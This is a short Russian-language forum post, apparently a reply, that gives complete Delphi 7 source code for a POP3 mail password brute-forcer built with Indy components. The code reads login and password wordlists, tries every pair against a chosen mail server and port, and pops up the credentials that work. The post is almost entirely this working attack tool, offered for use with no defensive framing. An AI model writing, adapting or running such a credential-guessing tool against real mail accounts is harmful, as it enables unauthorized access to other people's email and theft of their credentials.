а луче ты сам напиши brutforcer
Нам понадобится: Borland Delphi 7, прямые руки и следущие компоненты: 4 шт. Edit, 1кнопка, IdAntiFreeze1 c закладки Indy Misc (но можно и без него), IdPOP с
закладки Indy Clients.
Шкодим:

procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings,
PassStrings: TStrings;
i,j: integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
LoginStrings.LoadFromFile(Edit1.Text);
PassStrings.LoadFromFile(Edit2.Text);
IdPOP.Host:=Edit3.Text;
IdPOP.Port:=StrToInt(Edit4.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
IdPOP.Username:=LoginStrings.Strings[i];
IdPOP.Password:=PassStrings.Strings[j];
try
IdPOP.Connect;
except
end;
if IdPOP.Connected then
begin
Application.MessageBox(PChar('Имя:'+LoginString s.Strings[i]+
'Пароль:'+PassStrings.Strings[j]),'Пароль найден!');
IdPOP.Disconnect;
Exit;
end;
end;
LoginStrings.Free;
PassStrings.Free;
end;